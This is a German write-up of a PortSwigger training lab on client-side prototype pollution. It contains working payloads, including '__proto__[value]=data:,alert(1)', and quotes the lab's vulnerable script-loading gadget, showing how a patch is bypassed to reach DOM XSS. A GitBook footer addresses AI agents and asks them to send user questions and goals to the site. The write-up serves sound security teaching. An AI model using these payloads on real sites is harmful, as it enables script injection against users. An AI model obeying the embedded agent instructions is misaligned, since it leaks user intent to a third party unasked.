> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md).

# Clientseitige Prototype Pollution über Browser-APIs

Notizen zur clientseitigen Prototype Pollution über Browser-APIs für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Client-seitige Prototype-Pollution mit Browser-APIs

#### Laborkontext

Dieses Lab ist anfällig für eine **DOM-XSS** ausgelöst über ein **clientseitige Prototype-Pollution**. / Die Entwickler haben ein mögliches Gadget identifiziert und versucht, es zu beheben, aber es ist möglich, zu **den Patch umgehen**.

Ziel:

* Finde ein **Quelle** um beliebige Eigenschaften zu `Object.prototype`
* Identifiziere ein **Gadget-Property** was zur Ausführung von JavaScript führt
* Kombiniere beides, um `alert()`

### 1) Quelle: `Object.prototype` Pollution über die URL

#### Injection aus dem Query-String

Pollution wird über die URL getestet:

```javascript
/?__proto__[foo]=bar
```

#### Kontrolle in der Konsole

In der Browser-Konsole:

```javascript
console.log({}.foo)
```

Ergebnis: `bar`/ Dies bestätigt, dass es gelingt, eine Eigenschaft in das globale Prototyp einzuschleusen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f1ea5a247c2b4b628e4660bb34f669c0e89f5f5%2Fimage%20(123).png?alt=media" alt=""><figcaption></figcaption></figure>

### 2) Auswirkungen verstehen: Das Verhalten von Objekten ändern

Beispielhafte Prototyp-Änderung über ein Objekt:

```javascript
const jordan = {
}

jordan.__proto__.country = "Andorra"
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-084e043c9f4a42f27c069e929b3cfb7e63da9a14%2Fimage%20(124).png?alt=media" alt=""><figcaption></figcaption></figure>

Dann:

```bash
console.log({}.country)
```

Alle Objekte erben nun `country`, was die Gesamtwirkung der Pollution zeigt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-490bd5b212a5399317f4612f5326e20776bdf251%2Fimage%20(125).png?alt=media" alt=""><figcaption></figcaption></figure>

### 3) Gadget: Dynamisches Laden eines Skripts über eine geerbte Eigenschaft

Die interessante Datei ist:

`/resources/js/searchLoggerConfigurable.js`

```javascript
async function logQuery(url, params) {
    try {
        await fetch(url, {method: "post", keepalive: true, body: JSON.stringify(params)});
    } catch(e) {
        console.error("Failed storing query");
    }
}

async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString()), transport_url: false};
    Object.defineProperty(config, 'transport_url', {configurable: false, writable: false});
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

window.addEventListener("load", searchLogger);
```

#### Zentrales Skriptverhalten (Zusammenfassung)

* Es baut ein Objekt auf `config` das enthält:
* `params` (aus der URL)
* `transport_url` initialisiert auf `false`
* Es sperrt `config.transport_url` durch `Object.defineProperty(... configurable:false, writable:false)`
* Dann:
* wenn `config.transport_url` wahr ist → erstellt es ein `<script>` und setzt `script.src = config.transport_url`

#### Warum funktioniert es trotz des Patches?

Wie `transport_url` \*\* ist nicht wirklich mit einem nutzbaren Wert definiert\*\*, kann der Code **einen vom Prototyp geerbten Wert finden** (vergiftet).

Wenn wir also die richtige Eigenschaft in `Object.prototype`, wird sie als Quelle des Skripts verwendet.

### 4) Ausnutzung: Erzwinge `script.src` über den Prototyp

#### Schritt 1: Das Gadget nachweisen

Durch Einfügen von:

```bash
/?__proto__[value]=bar
```

Der Browser erstellt:

```javascript
<script src="bar"></script>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f29ec24269b0c4b963f5575548cfa1dd4219ff9f%2Fimage%20(126).png?alt=media" alt=""><figcaption></figcaption></figure>

`src` ist kontrollierbar.

#### Schritt 2: JS ausführen über ein `data:` URL

Endgültige Nutzlast:

```javascript
/?__proto__[value]=data:,alert(1)
```

Beobachtetes Ergebnis:

```javascript
<script src="data:,alert(1)"><div></div></script>
```

Der Browser interpretiert `data:,alert(1)` und führt `alert(1)`: **DOM-XSS erfolgreich**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06f05edd9896d58fef4bd97393a811251793f15a%2Fimage%20(127).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/prototype-pollution/client-side-prototype-pollution-via-browser-apis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
